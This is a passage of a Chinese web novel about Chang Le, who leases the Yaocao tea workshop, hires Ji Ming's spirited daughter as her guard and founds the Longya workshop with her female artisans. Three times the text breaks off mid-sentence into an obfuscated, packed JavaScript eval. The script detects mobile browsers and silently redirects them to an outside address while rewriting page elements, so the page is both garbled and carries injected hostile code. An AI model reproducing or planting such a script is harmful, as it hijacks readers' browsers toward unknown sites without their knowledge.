第一家制茶作坊的东家是一对兄弟，从石头递上来的消息可知，这二人去年不慎毁了一个大买主的单，赔了一笔不小的银子，作坊几乎倒闭，还是靠兄弟俩四处借贷才勉强撑了过来。 得知常乐是茗香坊东院的管事娘子，兄弟俩即刻奉为上宾，殷勤款待。 但当她露出想要盘下作坊的意思后，这俩人的脸立刻就拉了下来。 “若是别的事情，我兄弟二人定然尽力而为，只是这作坊乃是祖上传下来的，恕难从命！” 见对方到后面连人在作坊在的话都说出来了，常乐也不好再留，只能由石头领着往下一家打探。 约莫两刻钟后，马车在一间半大的作坊前停下了。 报上姓名来历后，坊内管事同样殷勤地将二人请了进去。才进院门，就听见一墙之隔的偏院里传来打斗之声。 见二人面露疑惑，管事解释道：“这是我家小姐在练武。” “怎么女子也爱练武？”石头仰着稚嫩的脸睁大了眼睛。 说话间，二人已随管事进了偏厅，他斟了茶后才答：“小公子有所不知，我家小姐自小便爱舞刀弄枪，东家拗不过，又怕她胡练受伤，只好请了女先生教她。” “练武还有女先生？”石头的眼睛瞪的更大了。 “制茶还有东院那么多女匠人呢。”常乐被他懵懂的神色逗笑。 石头恍然大悟：“原来女子也可以做这么多事，看来那些人说的都不对。” “哪些人啊？”常乐搭话。 “就是茗香坊那些匠人啰，他们总说女子不该制茶的。” 说完石头猛然察觉自己说错了话，他吐了吐舌头，埋下头怯怯地去看常乐的脸色。 恰好此时管事来报东家有请，常乐便只捏了捏他的脸。 “不许听他们胡说。” 说着，常乐便随着管事往里走，穿过偏厅进到大堂，看到一个六十余岁的男子迎面走来。 “常娘子，久仰大名。” “季明先生，叨扰了。” 寒暄过后，分宾主坐定，常乐才认真去看这瑶草坊坊主的穿着面相。 与消息相符，此人面色虚浮，体虚畏冷，已是暮春，却还穿着厚重的棉衣，一眼看过去确实让人觉得他时日无多。 还未及谈事，堂外响起一阵急切的脚步声，继而传来一个清亮的女子之声。 “阿爹——” 常乐转眼去望，就见一个英姿挺拔的女子手持长枪阔步走进堂来。 8. 活卖 季明见女儿来，展眉便笑，容色都柔和了下来。 “娘子见笑，这是小女，向来跳脱。” 转头与女儿说：“柔儿，这位便是常乐娘子，快来见过。” “你便是常娘子啊！”季念柔眸子一亮，利落地转身看了过来，“听爹说，茶叶里加茉莉花便是你想出来的。” “柔儿，不可无理。”虽是管教，但语气中却并无任何责怪的意味。 常乐便笑：“小娘子天真烂漫，季先生有福。” 季明脸上的笑意更深一分，柔声道：“知道是个女儿时，便盼着她温柔可人，大方端庄，怎知养成了这副天不怕地不怕的性子。” 季念柔不耐烦听这些，道个恼就回后院去了。 季明视线追随着女儿，一直到看不见了，才又问起常乐的来意。 “虽是冒昧，但我想问季先生，会否考虑转让作坊。” “娘子此话何意？”季明脸色瞬间沉了下来。 “我有心盘下瑶草坊。” 季明沉吟一会儿方道：“娘子特地前来，看来已经对瑶草坊和老夫的现状有所了解。” “这个自然。” “那我也实话告诉娘子，瑶草坊乃我祖上基业，就是倒了也不会卖！” “先生爱护祖产之心常乐尽知，只是先生一片怜子之心又待如何？” 此言一出，季明方才激愤的的神情瞬间一变，而后咳嗽了起来。 常乐示意石头上前却被季明抬手止住：“无事，老毛病了。” 缓得一会儿，他才又说：“犬子不肖，惹出祸事，纵受罪也是他自食苦果！” “贵公子是自食苦果，那贵千金呢？” 季明闻言一双利目盯了过来，常乐面上仍旧带着浅笑：“贵千金明媚张扬，足见先生疼爱有加，贵公子嗜赌成性，先生这次可以替他周全，日后呢？岂不连累贵千金？” “住口！”季明拍案而起：“季某人家事，岂容你这外人置喙，来人，送客！” 常乐便起身：“是小女子唐突了，在此向先生赔罪，只是还想劝先生最后一句，瑶草坊与其在贵公子手里赔到赌桌上，不如转手给我，我可向先生保证，护贵千金一世平安。” 说罢也不等对方回应，转身便带着石头往外走。 这瑶草坊的坊主季明是个重情之人，与妻子育有一双儿女，平生不曾纳妾，纵使妻子死后也未曾续弦。 据常乐所知的消息，其子季士俊好赌成性，去年不仅欠下上百万的赌债，更将作坊最大的买主得罪，瑶草坊从此艰难经营，季明本就虚弱的身子更是每况愈下。 如今季士俊虽被软禁在家，但最大买主丢失，作坊收益锐减，那巨额的赌债还是季明拉下脸来四处借贷才填上。 也是有季士俊在，常乐一开始才没有选择瑶草坊，但如今看来，还是此处更有可能松口。 过得几日，常乐正指导东院女匠人揉青手法，石头来报说季明有请。 登上马车，二人再次往瑶草坊而去。 一路行至作坊门口，刚下马车，常乐便觉一点寒芒迎面而来。 她不由惊呼，身子向后靠在马车之上，而后枪尖就停在耳侧。 “快把枪放下！你怎么能这样对娘子！”石头焦急大喊。 “小小童儿别来捣乱！。”季念柔横眉叫道：“常乐，你为什么逼我阿爹将瑶草坊转给你！” 常乐此时已然回过神来，冷言道：“我此次乃是受尔父相邀而来，柔娘子如此行为就不怕令尊怪罪？” “阿爹才不会怪我……” 话音未落，身后就传来惊怒声：“你在做什么？把枪放下！” 顾念柔听出父亲的声音，委屈道：“可是阿爹……” “什么可是，赶紧把武器放下！” 小姑娘不服气地放下手中银枪，哼得一声后走了，季明赶忙上来一叠声赔罪。 “季先生既无详谈的诚意，某这就离开。”常乐说着就要招呼石头离开。 “常娘子恕罪，还请看在小女年幼无知的份上饶她这一回。” 常乐自然不是真心想走，不过如今落得被个商贾家姑娘刀枪相向多少有点气闷。 “罢了，季先生前面引路。” 此次会面，季明选在后了后院书房中，寒暄过后，季明开门见山提出了自己的条件。 “如上次所说，瑶草坊乃季某祖产，不到万不得已实在难以割舍。故此，季某希望能活卖。” “活卖？”常乐凝眉。 季明解释：“不肖子虽为人不驯，但终归是我唯一的儿子，当爹的不能不为他考虑。我的身子已经撑不了几年了，在我死前若能教他痛该前非，便将瑶草坊赎回，若不能那也是天意。” 听了这番话，常乐心中颇为感慨，沉吟片刻，终究还是将心中的疑问说出：“贵公子现下不堪重任，先生为何不将作坊留给女儿呢？” 季明闻言愣了片刻，然后才说到：“这世上哪有女子做坊主的。” 他看了一眼常乐，又道：“话虽不好听，但我还是要劝娘子一句，老夫经营茶坊数十年，期间艰难险阻不计其数，娘子眼下虽在茗香坊东院主事，但这与经营自家作坊不可同日而语，娘子莫要想得简单了。” 常乐失笑，听这语气，季明愿意将作坊活卖与自己，是凭着要么赎回要么就此倒闭的打算了。 不过她却并不分辩，只又问：“先生处处为贵公子考虑，那贵千金呢？瑶草坊活卖与我后贵千金何去何从？若是赎买不回，又如何？” “娘子不是说过可护小女一世平安吗？” 常乐讶然看向季明，后者忽而一笑：“说笑了，老夫与娘子不过一面之缘，当然不会轻信。至于小女的归宿，老夫早已看中了一位青年才俊，到时给她添上一份厚嫁妆，夫家自然不会轻视了她。” 未待常乐开口，书房的门就被大力推开，季念柔急冲冲地迈步而进。 “爹，女儿不要嫁人！” 季明显然被她忽然出现下了一跳，抚了好几下胸口才道：“胡闹，女孩子家家哪有不嫁人的，爹这里有事情，你先回房。”说着就吩咐下人将她带回房。 季念柔自小习武，这班下人根本近身不得。 季明在一旁焦急万分，常乐却噙笑看着这位约十五六岁的姑娘如游鱼般穿梭于众人之间。 看得一会儿，她才开口：“柔娘子，八字还没一撇的事不值当如此顾虑，在这里任性不如想想如何让你父亲打消念头。” 此言一出，季念柔和季明同时愣住。 还是季明先回过神来，他无不激动地说：“常娘子，你不帮着劝也就罢了，如何还要助 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13597513|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她？” “此乃先生家事，我不便插手，只是娘子在此闹事未免阻我议事。” 常乐起身道：“先生，你家作坊我不买了。” “为何？”父女俩异口同声，常乐忍俊不禁。 “季先生既然心存赎回之心，我也不好夺爱，活卖倒不如租赁。我赁下瑶草坊三年，三年后原样归还，但我有几点要求。” “其一，瑶草坊所有匠人全数离开，但他们的去处无需担心，另四家与控茶司签下契书的作坊正愁缺人呢。” “其二，三年内瑶草坊内一应事务全听我之命，季先生并无发言权。” “其三。”常乐看向季念柔，“我身边缺一位护卫，我看柔娘子正合适。” “不可。”季明脱口而出，“上两点还待商榷，最后一点万不可行。” 常乐却不听，只对着季念柔使眼色。 季念柔会意，脆生生应了下来，然后就缠着她爹嚷嚷着要做护卫。 常乐看着眼前的情形，再次告辞离开。 “季先生，我还有要事，若是先生考虑好了，便差人到茗香坊带信。” 她此时最缺的便是稳定的场所，一开始只想着暂安置于茗香坊东院，待作坊建成，便可从容搬出。 不料与西院匠人太近，东院两党之间的矛盾愈演愈烈，她急着将女匠人迁出东院，便想着盘下一间现成的作坊。 作坊需不大不小，其中一应工具还得齐全堪用，只是这样的作坊中的匠人大多是不愿离去的，纵可驱离，也总归会引起不满与报复。 如此细究下来，与控茶司签了契书的小作坊是最合适的：大小合适；匠人学会了花茶的制作无论是去其余四家小作坊还是去其他作坊皆不愁没坊主接纳。 只是有了花茶这项技艺，这些小作坊若非万不得已是不会卖出去的，就如上一家兄弟的作坊，已经艰难经营许久，却依旧咬死了不愿，他们只怕还待凭着这次机遇做大呢。 这些坊主皆重祖产，瑶草坊已然摇摇欲坠，坊主季明还存着活卖再赎回的心。瑶草坊万事皆好，只是有季士俊这么个嗜赌的人在，活卖倒真不如租赁了。 季明只说儿子改好了便赎回，虽则常乐敢肯定此人绝不会改，但季明眼看着活不了多久，谁知他会不会突然就决定赎回，到时难免就有拉扯，多少会影响自家作坊的经营。 租赁则是一锤子买卖，三年内瑶草坊经营大权在自己手中，她能凭此拉起一支忠诚于自己的女匠人队伍。三年后她无论是自建作坊，还是再盘下哪一处都是可行的道路。 一路思索着就回到了茗香坊，下了车到东院炒青和揉青的房间看过，见她们皆有所进益便放心地往自己的房间而去。 刚走出几步，就听见身后有哒哒的脚步声响起，常乐回过头去看，只见绣云板着一张红扑扑的脸蛋朝自己扑了过来。 “怎么了？”她不由自主地矮下身子。 小姑娘也不说话，伸手将个物件放到常乐手里，细声说句：“给你的。”然后又折返跑了回去。 常乐捏着香囊看，其上绣了洁白的茉莉和鲜嫩的茶叶，凑近了一闻果然是茉莉和茶的香气。 这姑娘，估计是偷偷塞了窨好的花茶进去。 常乐心间涌起一阵暖流，这回该不是她娘要求送的，而是她真心感谢自己了。 9. 人心 租赁瑶草坊一事应当不成问题，只是所需租费仍需向林牧川拆借，不过有托付建作坊一事在前，如今只需租费他也会答应的。 需要着重商讨的便是安全一事了。 当初之所以要求建在茗香坊附近，便是因着此处毕竟是官府作坊所在，宵小之人轻易不敢来犯。她手下的匠人皆是女子，难免会有下作之人摸过来。 搬迁之后，瑶草坊原本的匠人迁出，季明为了避嫌想必也会同儿子到别处另寻地方落脚，只有季念柔会留下。 这个姑娘虽然颇有身手，但也不可能时时防范，因此她想让林牧川同意让捕快每日在瑶草坊巡逻几次。 作为交换，她可以给控茶司让利，日后所出的茶叶可以低于其他商铺卖与控茶司。 为了更长远的利益，这点付出是必要的，至少在她自己的力量发展起来之前，这些都是不能省的。 不知不觉，常乐的计划写了整整五页纸。 搁下笔后，她揉了揉发酸的手腕，腹中的饥饿感十分明显。 “香儿。”她唤了一声。 “娘子，有何事吩咐？” “可有点心？无论是什么，先端上来。” 常乐接过香儿递过来的帕子擦了擦手，然后坐到了外间的桌前。 “可巧，厨房里现温着一瓮鸡丝粥，我给娘子端过来。” 香儿走了以后，她才想起这鸡丝粥是南方的做法，庆丰县寻常是见不着这个的，想必又是出自红婶之手吧。 这个妇人自从上次何绫闹出事后，待自己更谨慎了几分，时不时换着法子给自己做好吃的，因她老家是南边的，因此常做些家乡口味，用她的话说是“给娘子尝尝鲜。” 香儿将瓮打开，鸡汤的香味就溢了出来，常乐吃下一口后，感觉整个脾胃都变得熨贴。 红婶的厨艺着实没得挑，想到这，她便吩咐香儿。 “去看看红婶在忙什么，若不是要紧事，便请她过来一下，就说我这里有事寻她。” 半瓮鸡丝粥用完，红婶便到了。 “见过常娘子，不知娘子叫我来所为何事？”她的口音带着南方的腔调，但也不至于听不懂。 “没什么别的事，只是想问红婶一句，你可愿意做厨娘？” “娘子恕罪，我再也不敢了！”红婶说着竟然带了哭腔，眼看着就要往下跪。 “诶，无需这样。”她这一举动倒把常乐吓到了，“香儿，赶紧把她搀起来。” “娘子，我都是空闲时间下厨的，确实带了讨好娘子的意思，但绝对没有因此耽误制茶的事，娘子……” 见她如此惊惶，常乐只得亲自牵过她的手。 “并非如此，红婶，我不是在怪你，我是真心实意请你做厨娘的。” “真个儿？”红婶两只手紧握住常乐，双目噙泪地问。 “想必你也听说了，我有心建我们自己的制茶作坊，今日是想问你一句愿不愿意带着绣云一同去。” “当然愿意。”红婶忙不迭应下，“莫非作坊已经建成？” “当然没有这么快，但也差不多了，只是不是新建而是盘下来的作坊。” 常乐拉着红婶坐下，继续说：“与在东院不同，去了新的作坊，一应事务皆需我们自己动手，不能只管制茶。” 红婶此时已然会意：“所以，娘子希望我能管着二十几人的吃喝？” “正是！” “那我还需制茶吗？”红婶追问。 常乐失笑：“你都管大厨房了，哪还有时间精力去制茶？” 见对方依旧有些惴惴，常乐只得继续安抚：“你与绣云母女相依为命，我知你在外艰难，你放心，只要你替我管好了厨房，我绝不会赶你走的。” “娘子大恩大德，梁红不敢忘。”红婶指天起誓，“娘子尽管将厨房的事放心交给我，当然不会出丝毫差错！” “好了，赶紧把眼泪擦擦，别叫绣云看了担心。”常乐递给她一方手帕。 送走红婶以后，常乐才去找了林牧川将想法说了。 “租赁的钱款我可予你担保到钱庄借贷，巡逻一事也可安排。” 林牧川斟酌着说完，又道：“这些都好说，只是匠人一事可能不会如你想的那么简单。” “大人是说瑶草坊的匠人会不愿离开？” 林牧川摇头：“瑶草坊易主的现实摆在眼前，纵不是你也会是旁人，说句娘子不爱听的话，他们得知下一任坊主竟是女子，恐怕还会着急着想出去。” 常乐蹙眉，却并未反驳，只是说：“那大人的意思是？” “我是说东院的女匠人，尤其是你口中所谓的关系党，他们大多是在家人的要求下过来的，如今你想把她们带到别处只怕阻力不小。” 这一点常乐不是没有想过，但是也不能因此就一直荫蔽与控茶司之下，总归还是走出去的。 “林大人所虑不无道理，但我是不会就此妥协的。” 常乐望着林牧川，忽然笑道：“就算关系党只能留下寥寥几人人，白身党大部分总是会追随我的，况且，还有以后呢。想想一个多月以前，我还是孤身一人呢。” 林牧川便看着对方眸中的亮光闪烁，他有一瞬间的失神。 “如此，林某便提前恭祝娘子马到功成！” 如她所料，不过几日季明便派人过来请她，只是等她走到茗香坊外看到的却是一身男装打扮的季念柔。 看她出来，对方端正抱拳道：“贴身护卫季英见过常娘子！” 常乐一听便乐：“怎么，季先生同意你做我的护卫了？还有你那个名字是怎么回事？” 季念柔的端正维持不到半刻，听得此问，随手从腰间取出峨眉刺在手中舞弄比划。 “阿爹他才不同意呢，不过他又拦不住我，下人也是拦不住我的。” 她将双手背到身后，扬起下巴说：“季念柔是爹娘起到名字，柔柔弱弱的，我不喜欢，我最佩服的是穆桂英，但又不敢叫季桂英，就占一个字吧。” 看着她意气风发的样子，常乐忽然想起了在蛮丘看到的许多女子，都是那么恣意随性。 尤其是蛮丘王的妹妹…… 思绪不由得越飘越远，直到季念柔过来拉她方才回过神来。 第三次到瑶草坊，常乐与季明长谈整日，终于在日头偏西时将租赁的契书定下。 在等契书誊抄好的这段时间，季明再次叮嘱她好生经营，若有问题尽可来问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13597514|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。 常乐应下以后，他最后又提起了季念柔。 “这些日子我想了许久，终究是我这个当爹的对不住她，养成这样的性子，我却再护不住她了。” 知道他想说什么，常乐抬手止住道：“季先生，无论你是否相信，我依旧是那句话，只要是在我的能力范围内，我定会护着柔娘子。” 说罢又添了一句：“季先生有所不知，我有个妹妹，就与柔娘子一边儿大，见到她就像见到我妹妹一般。” 她确实有个远在深宫的同母胞妹，只是性子也与她当初一样，恪守着宫中礼节，不敢越雷池一步。 正说着，忽有下人来报，说控茶司林大人来访。 季明闻言急匆匆迎了出去，常乐却心间疑惑，他到此作甚？ 不一会儿，就见林牧川一身玄衣踏着初升的月色而来。 他跨步买入大堂，轻笑道：“常娘子赁下制茶作坊这么重要的事，本官怎可缺席。” “若是季坊主不介意的话，就由本官来做个见证人如何？” 他这话虽是与季明说的，眼睛却一直看自己。 常乐心头一动，这人拨冗来此一趟，莫不是特意为自己作势。 有了他这个专司庆丰县茶事的林大人作见证，租赁的这三年期间，有心想来滋事的人便会多一重顾虑。 林牧川在见证人处签名画押后，常乐亲自将打湿的丝巾递给他净手。 “常乐多谢大人。” “我还记着与娘子的约定，娘子已然助我制出好茶，此事是娘子在此地安身的重要起点，林某自然要遵守诺言。” 他如此说话，常乐心头却更为受用，她望着林牧川粲然一笑：“日后与大人还有合作的机会，我以茶代酒先谢大人的关照。” 林牧川同样端起茶杯一饮而尽。 月色溶溶，常乐坐在马车内。因林牧川骑马跟在马车旁，所以季念柔也只好一起坐到马车中。 “真是的。”她抱怨道：“我正想坐在马车外试试呢。” 常乐失笑：“外面风大，就算他不在我也不许你坐外面的。” “娘子你不知道，坐外面可威风了。”她兴奋地起身想比划，头就撞在马车顶上，不小的动静引得外面的林牧川和石头都来问。 常乐回过以后才点着季念柔的脸：“你看看，自己都这么不小心，我怎么放心让你护卫。” 季念柔忙认错：“好娘子，我错了，你别跟我爹说，我好不容易才说动他的。” 被缠得烦了，她只好保证不跟季明说。 本是想让她留在父亲身边，待自己过去再守在左右的，但这妮子早就不愿困在院子里，竟然一天都等不得这就跟着过来了。 到茗香坊后，林牧川将常乐送进东院的大门才转身往控茶司赶。 常乐令石头去安排季念柔的住处，然后才在香儿的伺候下洗漱。 此时万事皆毕，只待瑶草坊的匠人搬出，贡茶一事结束，她就可以领着东院的匠人迁出。 但明日该如何与那二十余名女匠人说呢？常乐涂羊油的动作顿了顿。 然后又唤香儿道：“你明日早起让匠人们用过早饭先不需开工，在大堂等我过去说话。” 10. 龙芽 春日渐尽，茗香坊制茶的工序已开始收尾。 控茶司内，林牧川翻开着底下人递上来的单子。 上等的贡茶略有结余，下等的不足与那五家小作坊的陈茶、劣茶勾销，但以中等的补上后还是有剩的。 更兼之后有五家作坊的匠人并茗香坊一同制茶，今年需往其他茶坊收购的茶叶一下少了大半。 林牧川再次感叹于常乐的安排。 正此时，就有下人来报常娘子求见，他说声有请，便起身往大堂走。 “不知大人几时动身？可否赏面来喝杯酒。”常乐说着递过来一张请帖。 林牧川翻开帖子，就见其上写着作坊的名称：龙芽坊。 “我控茶司所辖都只叫茗香，你却敢起个龙芽的名字。” 常乐便笑：“但此次贡茶确是我所献的不是吗？待林大人将皇上金口称赞的消息带回，我这龙芽二字可谓名实相当。” 往上数几朝，有贡茶名龙芽，因其汤色透亮、香气清正，曾风靡一时，故此多有以龙芽代指贡茶者。 “看来常娘子对茉莉花茶信心十足，万一天子不曾开金口呢？” “那便拭目以待，况且，林大人难道不想得此称赞吗？” 林牧川却垂眸：“身受皇恩，制出好茶乃是本职，岂敢奢求其他。” 常乐闻言皱眉，这可不像他会说的话，但也不多问，只说：“林大人一心为公，我却对这句夸赞期待得紧。” 林牧川却提起了别的话头：“看这日子是十日以后，可都安排好了？” “瑶草坊的匠人这两日便会迁出，坊内也去看过了，有需要添置修补的也着手在办了。” 只是东院的那些女匠人，在知道要迁出茗香坊后有部分人颇为顾虑。昨日贡茶之事完工，就有六七人过来请辞。 常乐也知强留无意，便给了厚的红封令她们回去了。 林牧川见对方神色忽然暗了下去，便猜到是因女匠人离开一事。但他未多言，只说一定会赴宴就结束了这场对话。 十日后，原瑶草坊的匾额已经摘下，换上了簇新的匾额，其上挂着彩绸。 随着常乐伸手一扯，彩绸落下，露出其上“龙芽坊”三字。一时间锣鼓声、叫好声此起彼伏。 “林大人，请。”常乐将林牧川让进大堂，令其坐到主位，后者推脱不下只得从命。 常乐亲自斟酒递给林牧川道：“林大人，龙芽坊落成少不得大人的帮助，常乐谢过大人！” 林牧川跟着一饮而尽，展颜便笑：“娘子的茶方独具匠心，替林某解了燃眉之急，你我这算是互帮互助。有娘子的巧思在，过不了多时，我看这龙芽坊就可在庆丰县闯出名头，届时林某可能还得依仗常坊主哩。” 常乐今日喜气盈盈，闻言更是笑得眉眼弯弯，她拿眼神示意了下首的两席：“无需多日，我以女子之身担制茶坊坊主，如今便已经名满庆丰了。” 林牧川便转头去看，只见左手边的两台桌子上除了那五间小作坊坊主外，其余皆是庆丰县数得上名号的制茶作坊坊主。 他们看似推杯换盏，实则都在偷偷往这边看，都想看看这献上了茉莉花茶方子的常娘子是何等人物。 “这可难得，以往这等小作坊开业，可不见这些大名鼎鼎的人过来列席。” 常乐又斟满酒杯说：“他们不仅列席，还要来敬酒呢，你看——” 那名面容宽厚的张诚张坊主起身，端着酒杯往这边过来，席上其余坊主也跟着举杯过来。 没有请客还让客人敬酒的道理，常乐立刻端起酒杯往那边走。 “哎呀，真是怠慢，张坊主、宋坊主，列位快请坐，我正要过来与诸位喝一杯呢。” 众坊主嘴上客气着，身子诚实地又坐到了席上。 “鄙人有幸尝过茉莉花茶，着实馥郁芬芳、鲜灵爽口，果然只有娘子这等蕙质兰心、仙姿玉质的女子才能悟得。” 开口皆是好话，听起来却刺耳，这张诚却好似浑然不绝，在众人的拥趸之下哄笑起来。 “张坊主此话，某实不敢当，照此言，刘坊主的茶便皆是蜜桃浓香，宋坊主的茶都是烹油之香咯。” 刘兴长相白净男身女相，坊间多有取笑他为娈童之色；宋远志则身材矮胖天生畏热，这才暮春，他便一脸的油汗。 常乐此话令原本欢乐的气氛瞬间冷了下来，被提到的刘兴和宋远志脸瞬间黑了，张诚则面露尴尬，其余人皆愣在当场。 “哈哈哈，不过一句戏言罢了，都是张坊主一言惹的，我这也是有酒了，得罪得罪。” 众人尴尬赔笑，这三人看着上首端坐的林牧川敢怒不敢言。不过半刻，那边席上除了原来五间小作坊的坊主，其余人纷纷找借口离席而去。 胸怀大畅地送走一看就是来搅局的人，常乐才坐回自己的座位。 “常娘子，又何必逞口舌之快。” 林牧川虽如此说，常乐却见他嘴角噙笑，一派坦然自得的模样。 “他说得我，我便说不得他？”她摸了摸自己的脸，有些烫，看来确实喝得有点多了。 “他们今日看我在，才未曾闹起来，我眼看着便要上京，娘子便不怕他们弄鬼？” “兵来将挡、水来土掩，我就不说此话，他们便会不找麻烦么？” 她又斟满了酒，朝着林牧川说：“作坊新成，难免事多，也不知届时能否为大人践行，便借此机会祝大人一路顺风、成功归来。” 林牧川依言举杯，满饮以后，常乐便往右侧席上去。 刚一走进，就见季念柔两颊绯红地靠了过来，一看就喝了不少。 “你这么喝，季先生不说你？” “他才管不上我呢，况且也没喝多少，我自来如此，一沾酒就上脸。” 常乐见她眼底清明，便知此言不虚。 季念柔又道：“方才可是吓死我了，张坊主这些人我爹平时都以礼相待，娘子竟然敢如此和他们说话。” 看着小姑娘满眼崇拜的样子，常乐不禁捏了捏她的脸。 “如何？觉得我说得对吗？” “太对了，我早就看不惯他们颐指气使的样子了。还好他们不曾为难你，要是敢闹起来，就让他们常常梨花枪的滋味！” “你呀！”常乐点点她的头，“总是这么咋咋呼呼的，上次还拿枪指着我呢，现在又想着护我了。” 见她提起这事，季念柔的脸上更红一分，“快别再提，羞也羞死了，当时不是以为你逼迫阿爹吗，了解真相以后，这不就给娘子当护卫来了！” 说完还偷偷凑到她耳边说：“我爹也赞叹你方才的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13597515|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胆气呢，我看到他竖大拇哥了！” 常乐便往那边席上看，只见季明正端着酒杯往嘴里送。 她便伸手一指道：“还不快去抢他的酒，身子不好怎能如此贪杯。” 季念柔惊呼一声便闪身过去。 再敬过一圈酒，眼看就到了宴席的尾声，将席上的客人一一送走后，龙芽坊的女匠人们将几张桌子并作一处，围坐在一起。 常乐看向席间的匠人，这些人也抬眼看向她。 “诸位，今日以后制茶便是为着自身了，是好是坏我们皆需自己担着，但我应承大家，哪怕作坊无力支撑，我也不会少任何人一厘银子，还望诸位日后与我共进退！” 女匠人们目光灼灼，有几人眼中已经有泪珠闪烁，他们皆举杯与常乐共饮。 “娘子。”先开口的是刘玉娘，“若不是娘子我还不知自己有如此能力，上次回去老头子不准我到龙芽坊来，我直接将娘子赏的银子甩在他面前，我叔叔和哥哥两人合起来都不曾有这么多银子，这老头便说不出话来了。” 刘玉娘和杨初月因提升了陈茶、劣茶的品质，常乐多给了一份赏钱，这也让她们有了底气。 杨初月并没有多说，只是又倒了杯酒走到常乐面前道谢。 “多谢娘子，我家里的债总算还清了，我娘也答应眼下不逼我嫁人，我真是……” 说着，她的眼泪就掉了下来。她这一哭，带得原本没泪的匠人们也都红了眼眶。 常乐也没说什么，只是拍了怕她的肩膀，然后一饮而尽。 杨初月家中清贫，其上有个考了十年未中举，至今仍是秀才的哥哥，其下还有个年仅十岁的弟弟，父母想把她嫁人，以彩礼还债。 恰逢茗香坊要女匠人，她好说歹说才有一试的机会，眼见得带回来许多银子，她在家中才有了说话的份。 酒过三巡，众人皆有醉意，红婶忽然开口向大家劝饭。 “再不吃菜又该凉了，这都热过三回了，味都变了。” 常乐就笑：“正是呢，别的可以放放，这芙蓉鸡片、汆丸子、扣三丝可得好好尝尝。” 此言一出，席间就起了哄笑声，身旁的一下下推着红婶，把她闹了个大脸红，这三个菜都是她做的。 “哎哟，快别说了，再说呀，我们红婶就要撂挑子去制茶了，她要是不做厨娘了我们可就吃不到这么好吃的菜了。” 刘玉娘不说还好，这一说红婶急地就要跳起来拧她。 “你不要乱讲，再乱讲日后想再吃我做的腌竹笋可不能够了。” 这话直说得刘玉娘连连讨饶。 眼见着红婶终于能放得开了，常乐心中无比熨帖。 展眼去看，虽然除了还小的碧桃和绣云、转为厨娘的红婶以及作为护卫的季念柔，其余只剩下十六名匠人。 但总算是把这个摊子支了起来，有自己私藏未说的更佳茉莉花茶方子在，哪怕之前的方子被人学去，她也能拼出一条路。 你看到了吗？父皇。 常乐独自离席，望着缺了一角的月亮思绪翻飞。 父皇，你是错的，女子不是只能通过嫁人回报家国，我的茉莉花茶方子就是许多男子都未曾想到的。 这些女子也都各自大有所为，只是你们男子原本不愿意给我们机会罢了。 11. 新茶 有了自家的作坊以后，自然就要开始着手制茶。 原先收上来的陈茶、劣茶还有大半未曾翻新，放在东院的那部分就全分到了常乐手上，一径拉到了龙芽坊的库房。 茉莉花的采摘此时也不能再依靠控茶司那边，常乐便花钱雇人去摘，除茉莉花外，她还定了其他种类的花。 龙芽坊的十六名匠人被分作四班，她点了刘玉娘、程兰心、杨初月和白雪各领三人。 为避免隔阂，特地将两派人分散在各班中，又定了些赏罚章程，只盼着她们尽早抛弃原本的身份之见。 至于碧桃和绣云，常乐便自己领着。 陈茶与劣茶均分给了四个领班，令她们自行去安排，等茉莉花并其余的花收上来后，茶坯也送到了。 “玉娘、初月，茶坯和茉莉花你们都点点。如先前一般，各领了自己的份，我便只管验看你们最终的成果了。” 众人应下以后，皆令自己班中匠人将茶叶与花收好。 瞅着旁边车上其余的花，刘玉娘便问：“娘子这是要做其他的花茶？还是与这茉莉花一般的做法吗？” “这就眼热上了，放心吧，有新茶了绝对不会少你的！” 说话间，常乐便令人将其余的花收到自己院里去。 过得十来日，第一批花茶制作出来，常乐一一验看并无不妥后，就开始将自己私藏的方式与四个领班说了。 “这件事关系到我们坊是否能站稳脚跟，我只与你们四人说，你们不可对他人透露半个字，也不可假手于人。” “这个自然！我们定会守口如瓶。” 让她们知道此时的重要性后，常乐便示意身边的碧桃，后者点点头就往库房的更深处走。 片刻后，碧桃和绣云便推来了两大篓茉莉花。 “娘子，这是？”率先开口的总是刘玉娘。 常乐不答反问：“你们先来看看这花与之前有何不同。” 众人闻言便去看，程兰心踌躇着说：“貌似花朵更大、更白了些。” 常乐点头：“正是。这是我令她们二人特地挑出来的，就是为了将着花茶的香味再提上一提。” 说着，她便取了些许送过来的茶叶，在一旁的锅中复火。差不多了以后，又拣了几朵花与茶叶堆在一起。 “都看清楚了吗？”常乐问。 众人面面相觑，还是白雪说了一句：“娘子，这不就是我们平常窨花的方式么？难不成……我们还要再窨一次？” 